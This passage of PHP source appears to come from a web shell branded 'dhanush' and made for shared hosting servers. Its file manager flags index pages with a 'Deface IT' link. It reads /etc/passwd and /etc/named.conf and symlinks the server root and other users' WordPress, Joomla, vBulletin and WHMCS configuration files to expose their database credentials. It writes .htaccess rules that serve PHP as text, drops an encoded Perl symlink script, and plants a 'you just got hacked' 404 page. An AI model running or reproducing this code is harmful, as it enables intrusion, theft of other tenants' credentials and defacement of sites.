		foreach($myfiles as $val)
		{
			$vv = addslashes($dir . $directorysperator . $val);
			$i++;
			
			if(is_dir($vv))
			{
				if($val == "." || $val == "..")
				continue; ?>
			<tr class=lines>
			<td class=\'dir\'><a href=javascript:void(0) onClick="changedir(\'dir\',\'<?php echo $vv; ?>\')">[ <?php echo $val; ?> ]</a></td>
        	<td class=\'info\'><font size=2>DIR</font></td>
			
            <td class=\'info\'><a href=javascript:void(0) onClick="fileaction(\'perms\',\'<?php echo $vv; ?>\')"><?php echo filepermscolor($dir . $directorysperator . $val); ?></a></td>
			<?php if($os != \'Windows\')
					{
					echo "<td align=center><font size=2>"; 
					echo getOGid($val)."</font></td>";
					}  ?>
			<td align="center"><font  class=txt><?php echo date(\'Y-m-d H:i:s\', @filemtime($dir . $directorysperator . $val)); ?></font></td>
			<td class="info"><a href=javascript:void(0) onClick="fileaction(\'rename\',\'<?php echo $vv; ?>\')"><font size=2>Rename</font></a></td>
			<td></td>
			<td class="info" align="center"><input type="checkbox" name="actbox[]" id="actbox<?php echo $i; ?>" value="<?php echo $dir . $directorysperator . $val;?>"></td>
            </tr></font>
            <?php
				}
				else if(is_file($vv))
				{
			   ?>
                   <tr class=lines>
                   <td class=\'file\'><a href=javascript:void(0) onClick="fileaction(\'open\',\'<?php echo $vv; ?>\')"><?php if(("/" .$val == $_SERVER["SCRIPT_NAME"]) || ($val == "index.php") || ($val == "index.html") || ($val == "config.php") || ($val == "wp-config.php")) { echo "<font color=red>". $val . "</font>";  } else { echo $val; } ?></a> <?php if($val == "index.php" || $val == "index.html") { if(strlen($ind) != 0) { echo "<a href=javascript:void(0) onClick=\"defacefun(\'$vv\')\"><font color=red>( Deface IT )</font></a>"; } } ?></td>
				   
				   <td class=\'info\'><font size=2><?php echo HumanReadableFilesize(filesize($dir . $directorysperator . $val));?></font></td>
				   
                   <td class=\'info\'><a href=javascript:void(0) onClick="fileaction(\'perms\',\'<?php echo $vv; ?>\')"><?php echo filepermscolor($dir . $directorysperator . $val); ?></a></td>
				   
				   <?php if($os != \'Windows\')
					{
					echo "<td align=center><font size=2>"; 
					echo getOGid($val)."</font></td>";
					}  ?>
				   <td align="center"><font  class=txt><?php echo date(\'Y-m-d H:i:s\', @filemtime($dir . $directorysperator . $val)); ?></font></td>
				   
                   <td class="info"><a href=javascript:void(0) onClick="fileaction(\'rename\',\'<?php echo $vv; ?>\')"><font size=2>Rename</font></a></td>
				   <td class="info"><a href="<?php echo $self;?>?download=<?php echo $dir . $directorysperator .$val;?>"><font size=2>Download</font></a>
				   <td class="info" align="center"><input type="checkbox" name="actbox[]" id="actbox<?php echo $i; ?>" value="<?php echo $dir . $directorysperator . $val;?>"></td>
                   </tr>
                   <p>
 			 <?php
      		}
		}
		
	echo "</table>
<div align=\'right\' style=\'width:100%;\' id=maindiv><BR><label><input type=\'checkbox\' name=\'checkall\' onclick=\'checkedAll();\'> <font class=txt size=3>Check All </font></label> &nbsp;
<select class=sbox name=choice style=\'width: 100px;\'>
			<option value=delete>Delete</option>
			<option value=chmod>Change mode</option>
			if(class_exists(\'ZipArchive\'))
			{	<option value=compre>Compress</option>
			<option value=uncompre>Uncompress</option> }
		</select>
	
	<input type=button onClick=\"myaction(choice.value)\" value=Submit name=checkoption class=but></form></div>";
	}}
	else
    {
        echo "<p><font  size=3>".$_GET[\'dir\']." is <b>NOT</b> a Valid Directory!<br /></font></p>";
    }

}
if(isset($_REQUEST["script"])) 
{
	$getpath = trim(dirname($_SERVER[\'SCRIPT_NAME\']) . PHP_EOL);
	?>
	<center><table><tr><td><a href=javascript:void(0) onClick="getdata(\'scserver\')"><font class=txt size="4">| Use Server |</font></a></td>
	<td><a href=javascript:void(0) onClick="getdata(\'scphp\')"><font class=txt size="4">| Use PHP |</font></a></td>
	</tr></table></center>
	<?php
}
elseif(isset($_REQUEST["scserver"])) 
{
	?><center><table><tr><td><a href=javascript:void(0) onClick="getdata(\'servermanuallyscript\')"><font class=txt size="4">| Do It Manually |</font></a></td>
	<td><a href=javascript:void(0) onClick="getdata(\'serverscriptlocator\')"><font class=txt size="4">| Do It Automatically |</font></a></td>
	</tr></table></center><?php
}
else if(isset($_REQUEST[\'servermanuallyscript\']))
{
	?>
		<center>
		<form action="<?php echo $self; ?>" method="post">
		<textarea class="box" rows="16" cols="100" name="passwd"></textarea><br>
		<input type="button" OnClick="manuallyscriptfn(\'serverscriptlocator\',passwd.value)" value="Get Config" class="but">
		</form>
		</center>
	<?php
}
elseif(isset($_REQUEST[\'serverscriptlocator\']))
{
	if($os != "Windows")
	{
		$url = \'http://\'.$_SERVER[\'SERVER_NAME\'].$_SERVER[\'REQUEST_URI\'];
		$path=explode(\'/\',$url);
		$url =str_replace($path[count($path)-1],\'\',$url);
		if(isset($_REQUEST[\'passwd\']))
		{
			$getetc = trim($_REQUEST[\'passwd\']);
			
			mkdir("dhanushSPT");
			chdir("dhanushSPT");
					
			$myfile = fopen("test.txt","w");

			fputs($myfile,$getetc);
			fclose($myfile);
			echo "<table align=center border=1 style=\'width:60%;border-color:#333333;\'><tr><td align=center><font size=4 >S. No.</font></td><td align=center><font size=4 >Username</font></td><td align=center><font size=4 >Script</font></td></tr>";
			$file = fopen("test.txt", "r") or exit("Unable to open file!");
			while(!feof($file))
			{
				$s = fgets($file);
				$matches = array();
				$t = preg_match(\'/\/(.*?)\:\//s\', $s, $matches);
				$matches = str_replace("home/","",$matches[1]);
				$hs_status=$url."dhanush/root/home/".$matches."/public_html/wp-config.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "Wordpress";
					$hs_status=$url."dhanush/root/home/".$matches."/public_html/blog/wp-config.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "Wordpress";
					$hs_status=$url."dhanush/root/home/".$matches."/public_html/configuration.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "Joomla";
					$hs_status=$url."dhanush/root/home/".$matches."/public_html/forum/includes/config.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "Vbulletin";
					$hs_status=$url."dhanush/root/home/".$matches."/public_html/core/includes/config.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "Vbulletin";
					$hs_status=$url."dhanush/root/home/".$matches."/public_html/inc/config.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "Mybb";
					$hs_status=$url."dhanush/root/home/".$matches."/public_html/conf_global.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "IPB";
					$hs_status=$url."dhanush/root/home/".$matches."/public_html/settings.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "SMF";
					$hs_status=$url."dhanush/root/home/".$matches."/public_html/submitticket.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "WHMCS";
					echo "<tr><td align=center><font >" . $dcount . "</td><td align=center><font class=txt>" . $matches . "</td>";
					echo "<td align=center><font class=txt><a href=".$hs_status." target=\'_blank\'>".$hs_script."</a></td></tr>";
					$dcount++;
		}
		echo "</table>";
		fclose($file);
		unlink("test.txt");
		}
		else
		{
		$d0mains = @file("/etc/named.conf");
	if($d0mains)
	{
   		@mkdir("dhanush",0777);
		@chdir("dhanush");
		execmd("ln -s / root");
		$file3 = \'Options all 
	 DirectoryIndex Sux.html 
	 AddType text/plain .php 
	 AddHandler server-parsed .php 
	  AddType text/plain .html 



	 AddHandler txt .html 
	 Require None 
	 Satisfy Any        
	\';
		$fp3 = fopen(\'.htaccess\',\'w\');
		$fw3 = fwrite($fp3,$file3);
		@fclose($fp3);
		echo "<table align=center border=1 style=\'width:60%;border-color:#333333;\'><tr><td align=center><font size=4 >S. No.</font></td><td align=center><font size=4 >Site</font></td><td align=center><font size=4 >Script</font></td></tr>";
	$dcount = 1;
		foreach($d0mains as $d0main)
		{
			if(eregi("zone",$d0main))
			{
				preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);
				flush();
					
				if(strlen(trim($domains[1][0])) > 2)
				{ 
					$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
					$hs_status=$url."dhanush/root/home/".$user[\'name\']."/public_html/wp-config.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "Wordpress";
					$hs_status=$url."dhanush/root/home/".$user[\'name\']."/public_html/blog/wp-config.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "Wordpress";
					$hs_status=$url."dhanush/root/home/".$user[\'name\']."/public_html/configuration.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "Joomla";
					$hs_status=$url."dhanush/root/home/".$user[\'name\']."/public_html/forum/includes/config.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "Vbulletin";
					$hs_status=$url."dhanush/root/home/".$user[\'name\']."/public_html/core/includes/config.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "Vbulletin";
					$hs_status=$url."dhanush/root/home/".$user[\'name\']."/public_html/inc/config.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "Mybb";
					$hs_status=$url."dhanush/root/home/".$user[\'name\']."/public_html/conf_global.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "IPB";
					$hs_status=$url."dhanush/root/home/".$user[\'name\']."/public_html/settings.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "SMF";
					$hs_status=$url."dhanush/root/home/".$user[\'name\']."/public_html/submitticket.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "WHMCS";
					echo "<tr align=center><td><font  class=txt>" . $dcount . "</font></td><td><a href=".$domains[1][0]." target=\'_blank\'><font  class=txt>".$domains[1][0]."</font></a></td><td><font class=txt><a href=".$hs_status." target=_blank>".$hs_user."</a></font></td></tr>"; flush();
					
					$dcount++;
				}
			}
			
		}
		echo "</table>";
	}
	else
	{
		$TEST=@file(\'/etc/passwd\');
		if ($TEST) 
		{
				@mkdir("dhanush",0777);
				@chdir("dhanush");
				execmd("ln -s / root");
				$file3 = \'Options all 
				 DirectoryIndex Sux.html 
				 AddType text/plain .php 
				 AddHandler server-parsed .php 
				  AddType text/plain .html 
				 AddHandler txt .html 
				 Require None 
				 Satisfy Any        
				\';
				$fp3 = fopen(\'.htaccess\',\'w\');
				$fw3 = fwrite($fp3,$file3);
				@fclose($fp3);
							
				echo "<table align=center border=1 style=\'width:40%;\' class=tbl><tr><td align=center><font size=4>S. No.</font></td><td align=center><font size=4>Users</font></td><td align=center><font size=4>Script</font></td></tr>";
				
				$dcount = 1;
				$file = fopen("/etc/passwd", "r");
				//Output a line of the file until the end is reached
				while(!feof($file))
				{
					$s = fgets($file);
					$matches = array();
					$t = preg_match(\'/\/(.*?)\:\//s\', $s, $matches);
					$matches = str_replace("home/","",$matches[1]);
					$hs_status=$url."dhanush/root/home/".$matches."/public_html/wp-config.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "Wordpress";
					$hs_status=$url."dhanush/root/home/".$matches."/public_html/blog/wp-config.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "Wordpress";
					$hs_status=$url."dhanush/root/home/".$matches."/public_html/configuration.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "Joomla";
					$hs_status=$url."dhanush/root/home/".$matches."/public_html/forum/includes/config.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "Vbulletin";
					$hs_status=$url."dhanush/root/home/".$matches."/public_html/core/includes/config.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "Vbulletin";
					$hs_status=$url."dhanush/root/home/".$matches."/public_html/inc/config.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "Mybb";
					$hs_status=$url."dhanush/root/home/".$matches."/public_html/conf_global.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "IPB";
					$hs_status=$url."dhanush/root/home/".$matches."/public_html/settings.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "SMF";
					$hs_status=$url."dhanush/root/home/".$matches."/public_html/submitticket.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "WHMCS";
					echo "<tr><td align=center><font >" . $dcount . "</td><td align=center><font class=txt>" . $matches . "</td>";
					echo "<td align=center><font class=txt><a href=".$hs_status." target=\'_blank\'>".$hs_script."</a></td></tr>";
					$dcount++;
				}
				fclose($file);
						
				echo "</table>";
			}
			else
			{
				@mkdir("dhanush",0777);
				@chdir("dhanush");
				execmd("ln -s / root");
				$file3 = \'Options all 
				 DirectoryIndex Sux.html 
				 AddType text/plain .php 
				 AddHandler server-parsed .php 
				  AddType text/plain .html 
				 AddHandler txt .html 
				 Require None 
				 Satisfy Any        
				\';
				$fp3 = fopen(\'.htaccess\',\'w\');
				$fw3 = fwrite($fp3,$file3);
				@fclose($fp3);
				echo "<table align=center border=1 style=\'width:40%;\' class=tbl><tr><td align=center><font size=4>S. No.</font></td><td align=center><font size=4>Users</font></td><td align=center><font size=4>Script</font></td></tr>";
				$temp = "";
				$val1 = 0;
				$val2 = 1000;
				for(;$val1 <= $val2;$val1++) 
				{
					$uid = @posix_getpwuid($val1);
					if ($uid)
					 $temp .= join(\':\',$uid)."
";
				 }
				 echo \'<br/>\';
				 $temp = trim($temp);
				 
				 $file5 = fopen("test.txt","w");
				 fputs($file5,$temp);
				 fclose($file5);
					 
				 $dcount = 1;
				 $file = fopen("test.txt", "r");
				 while(!feof($file))
				 {
					$s = fgets($file);
					$matches = array();
					$t = preg_match(\'/\/(.*?)\:\//s\', $s, $matches);
					$matches = str_replace("home/","",$matches[1]);
					$hs_status=$url."dhanush/root/home/".$matches."/public_html/wp-config.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "Wordpress";
					$hs_status=$url."dhanush/root/home/".$matches."/public_html/blog/wp-config.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "Wordpress";
					$hs_status=$url."dhanush/root/home/".$matches."/public_html/configuration.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "Joomla";
					$hs_status=$url."dhanush/root/home/".$matches."/public_html/forum/includes/config.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "Vbulletin";
					$hs_status=$url."dhanush/root/home/".$matches."/public_html/core/includes/config.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "Vbulletin";
					$hs_status=$url."dhanush/root/home/".$matches."/public_html/inc/config.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "Mybb";
					$hs_status=$url."dhanush/root/home/".$matches."/public_html/conf_global.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "IPB";
					$hs_status=$url."dhanush/root/home/".$matches."/public_html/settings.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "SMF";
					$hs_status=$url."dhanush/root/home/".$matches."/public_html/submitticket.php";
					$headers=get_headers($hs_status);
					if(strpos($headers[0],\'200\') == true )
						$hs_script = "WHMCS";
					echo "<tr><td align=center><font >" . $dcount . "</td><td align=center><font  class=txt>" . $matches . "</td>";
					echo "<td align=center><font  class=txt><a href=".$hs_status." target=\'_blank\'>".$hs_script."</a></td></tr>";
					$dcount++;
				 }
					fclose($file);
					echo "</table>";
					unlink("test.txt");
			}
		}
	}
	}
	else
		echo "<center>Cannot Get Scripts</center>";
}
elseif(isset($_REQUEST["scphp"])) 
{
	?><center><table><tr><td><a href=javascript:void(0) onClick="getdata(\'phpmanuallyscript\')"><font class=txt size="4">| Do It Manually |</font></a></td>
	<td><a href=javascript:void(0) onClick="getdata(\'phpscriptlocator\')"><font class=txt size="4">| Do It Automatically |</font></a></td>
	</tr></table></center><?php
}
else if(isset($_REQUEST[\'phpmanuallyscript\']))
{
	?>
		<center>
		<form action="<?php echo $self; ?>" method="post">
		<textarea class="box" rows="16" cols="100" name="passwd"></textarea><br>
		<input type="button" OnClick="manuallyscriptfn(\'phpscriptlocator\',passwd.value)" value="Get Config" class="but">
		</form>
		</center>
	<?php
}
else if(isset($_REQUEST[\'phpscriptlocator\']))
{
	if($os == "Linux")
	{
		$url = \'http://\'.$_SERVER[\'SERVER_NAME\'].$_SERVER[\'REQUEST_URI\'];
		$path=explode(\'/\',$url);
		$url =str_replace($path[count($path)-1],\'\',$url);
		function syml($usern,$pdomain)
		{
			symlink(\'/home/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/core/includes/config.php\',$pdomain.\'~~vBulletin5.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/vb/core/includes/config.php\',$pdomain.\'~~vBulletin5.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/inc/config.php\',$pdomain.\'~~mybb.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~ipb1.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/bb-config.php\',$pdomain.\'~~boxbilling.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/billing/bb-config.php\',$pdomain.\'~~boxbilling.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');
			symlink(\'/home/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');
		}
		if(isset($_REQUEST[\'passwd\']))
		{
			$getetc = trim($_REQUEST[\'passwd\']);
			
			mkdir("dhanushSPT");
			chdir("dhanushSPT");
			$file3 = \'Options all 
	 DirectoryIndex Sux.html 
	 AddType text/plain .php 
	 AddHandler server-parsed .php 
	  AddType text/plain .html 
	 AddHandler txt .html 
	 Require None 
	 Satisfy Any        
	\';
		$fp3 = fopen(\'.htaccess\',\'w\');
		$fw3 = fwrite($fp3,$file3);
		@fclose($fp3);
			$myfile = fopen("test.txt","w");
			fputs($myfile,$getetc);
			fclose($myfile);
						 
			$file = fopen("test.txt", "r") or exit("Unable to open file!");
			while(!feof($file))
			{
				$s = fgets($file);
				$matches = array();
				$t = preg_match(\'/\/(.*?)\:\//s\', $s, $matches);
				$matches = str_replace("home/","",$matches[1]);
				if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
						continue;
					syml($matches,$matches);
			}
			fclose($file);
			unlink("test.txt");
			echo "<center><font class=txt size=3>[ Done ]</font></center>";
			echo "<br><center><a href=".$url."dhanushSPT target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>"; 
		
		}
		else
		{
			$d0mains = @file("/etc/named.conf");
		if($d0mains)
		{
			mkdir("dhanushST");
			chdir("dhanushST");
			$file3 = \'Options all 
	 DirectoryIndex Sux.html 
	 AddType text/plain .php 
	 AddHandler server-parsed .php 
	  AddType text/plain .html 
	 AddHandler txt .html 
	 Require None 
	 Satisfy Any        
	\';
		$fp3 = fopen(\'.htaccess\',\'w\');
		$fw3 = fwrite($fp3,$file3);
		@fclose($fp3);
			foreach($d0mains as $d0main)
			{
				if(eregi("zone",$d0main))
				{
					preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);
					flush();
							
					if(strlen(trim($domains[1][0])) > 2)
					{ 
						$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
									
						syml($user[\'name\'],$domains[1][0]);					
					}
				}
			}
			echo "<center><font class=txt size=3>[ Done ]</font></center>";
			echo "<br><center><a href=".$url."dhanushST target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>"; 
		}
		else
		{
			mkdir("dhanushSPT");
			chdir("dhanushSPT");
			$file3 = \'Options all 
	 DirectoryIndex Sux.html 
	 AddType text/plain .php 
	 AddHandler server-parsed .php 
	  AddType text/plain .html 
	 AddHandler txt .html 
	 Require None 
	 Satisfy Any        
	\';
		$fp3 = fopen(\'.htaccess\',\'w\');
		$fw3 = fwrite($fp3,$file3);
		@fclose($fp3);
			$temp = "";
			$val1 = 0;
			$val2 = 1000;
			for(;$val1 <= $val2;$val1++) 
			{
				$uid = @posix_getpwuid($val1);
				if ($uid)
					$temp .= join(\':\',$uid)."
";
			 }
			 echo \'<br/>\';
			 $temp = trim($temp);
			 
			 $file5 = fopen("test.txt","w");
			 fputs($file5,$temp);
			 fclose($file5);
						 

			 $file = fopen("test.txt", "r") or exit("Unable to open file!");
			 while(!feof($file))
			 {
				$s = fgets($file);
				$matches = array();
				$t = preg_match(\'/\/(.*?)\:\//s\', $s, $matches);
				$matches = str_replace("home/","",$matches[1]);
				if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
					continue;
				syml($matches,$matches);
			 }
			fclose($file);
			echo "</table>";
			unlink("test.txt");
			echo "<center><font class=txt size=3>[ Done ]</font></center>";
			echo "<br><center><a href=".$url."dhanushSPT target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>"; 
		}
	}
	}
	else
		echo "<center>Cannot Complete the task!!!!</center>";
	
}
else if(isset($_GET["perlsymlink"])) 
{
	@mkdir("dhanush",0777);
	@chdir("dhanush");
	$dhanushsym = gzuncompress(base64_decode($plsym));
	$fp3 = fopen(\'dhanushsym.pl\',\'w\');
	$fw3 = fwrite($fp3,$dhanushsym);
	@fclose($fp3);
	chmod("dhanushsym.pl", 0755);
	?><center><iframe src="dhanush/dhanushsym.pl" height="400" width="600"></iframe></center><?php
}
else if(isset($_GET["symlinkfile"])) 
{
	if(!isset($_GET[\'file\']))
	{
		?>
		<center>
			<form onSubmit="getdata(\'symlinkmyfile\',file.value);return false;">
			<input type="text" class="box" name="file" size="50" value="/etc/passwd">
			<input type="button" value="Create Symlink" onClick="getdata(\'symlinkmyfile\',file.value)" class="but">
			</form></center>
			<br><br>
		<?php
	}
}
else if(isset($_GET[\'symlinkmyfile\']))
{
	if($os == "Linux")
	{
		$fakedir="cx";
		$fakedep=16;
				
		$num=0; // offset of symlink.$num
				
		if(!empty($_GET[\'myfile\']))
			$file=$_GET[\'myfile\'];
		else $file="";
											
		if(empty($file))
		exit;
						
		if(!is_writable("."))
			echo "not writable directory";
					
		$level=0;
				
		for($as=0;$as<$fakedep;$as++)
		{
			if(!file_exists($fakedir))
				mkdir($fakedir);
				chdir($fakedir);
		}
						
		while(1<$as--) chdir("..");
				
		$hardstyle = explode("/", $file);
				
		for($a=0;$a<count($hardstyle);$a++)
		{
			if(!empty($hardstyle[$a]))
			{
				if(!file_exists($hardstyle[$a])) 
					mkdir($hardstyle[$a]);
					chdir($hardstyle[$a]);
					$as++;
			}
		}
			$as++;
			while($as--)
					chdir("..");
					
			@rmdir("fakesymlink");
			@unlink("fakesymlink");
					
			@symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");
					
			while(1)
			if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break;
			else $num++;
					
			@unlink("fakesymlink");
			mkdir("fakesymlink");
						
			echo \'<CENTER>check symlink <a href="./symlink\'.$num.\'">symlink\'.$num.\'</a> file</CENTER>\';
	}
	else
		echo \'<CENTER>Cannot Create Symlink</CENTER>\';		
}
else if(isset($_POST[\'cpaneluser\']))
{
	if(is_numeric($_POST[\'noofsubdomain\']))
	{
		for($i=1;$i<=$_POST[\'noofsubdomain\'];$i++)
		{
			$subDomain = randomt();
			echo make_subdomain($subDomain,$_POST[\'cpaneluser\'],$_POST[\'cpanelpass\'],$_POST[\'subindex\']);
		}
	}
	else
		echo "Insert number";
}
else if(isset($_REQUEST[\'404new\']))
{
	?>
	<form>
	<center><textarea name=message cols=100 rows=18 class=box>lol! You just got hacked</textarea></br>
	<input type="button" onClick="my404page(message.value)" value="  Save  " class=but></center>
	</br>
	</form>
	<?php
}
else if(isset($_REQUEST[\'404page\']))
{
	$url = $_SERVER[\'REQUEST_URI\'];
	$path=explode(\'/\',$url);
	$url =str_replace($path[count($path)-1],\'\',$url);
	if(isset($_POST[\'message\']))
	{
		if($myfile = fopen(".htaccess", "a"))
		{
			fwrite($myfile, "ErrorDocument 404 ".$url."404.html 

"); 
			if($myfilee = fopen("404.html", "w+"))
			{
				fwrite($myfilee, $_POST[\'message\']);
			}
			echo "<center><font class=txt>Done setting 404 Page !!!!</font></center>";
		}
			else
				echo "<center>Cannot Set 404 Page</center>";
	}
	else if(strlen($ind) != 0)
	{
		if($myfile = fopen(".htaccess", "a"))
		{
			fwrite($myfile, "ErrorDocument 404 ".$url."404.html 

"); 
	
			if($myfilee = fopen("404.html", "w+"))
			{
				fwrite($myfilee, base64_decode($ind));
			
				fclose($myfilee);
				echo "<center><font class=txt>Done setting 404 Page !!!!</font></center>";
			}
			fclose($myfile);	
		}
		else
		{
			echo "<center>Cannot Set 404 Page</center>";
		}
	}
	else
		echo "<center>Nothing Specified in the shell</center>";
}
else if(isset($_GET["symlink"])) 
{
	$d0mains = @file("/etc/named.conf");
	$url = \'http://\'.$_SERVER[\'SERVER_NAME\'].$_SERVER[\'REQUEST_URI\'];
	$path=explode(\'/\',$url);
	$url =str_replace($path[count($path)-1],\'\',$url);
	if($d0mains)
	{ 
   		@mkdir("dhanush",0777);
		@chdir("dhanush");
		execmd("ln -s / root");
		
		$file3 = \'Options all 
	 DirectoryIndex Sux.html 
	 AddType text/plain .php 
	 AddHandler server-parsed .php 
	  AddType text/plain .html 
	 AddHandler txt .html 
	 Require None 
	 Satisfy Any        
	\';
		$fp3 = fopen(\'.htaccess\',\'w\');
		$fw3 = fwrite($fp3,$file3);
		@fclose($fp3);
		
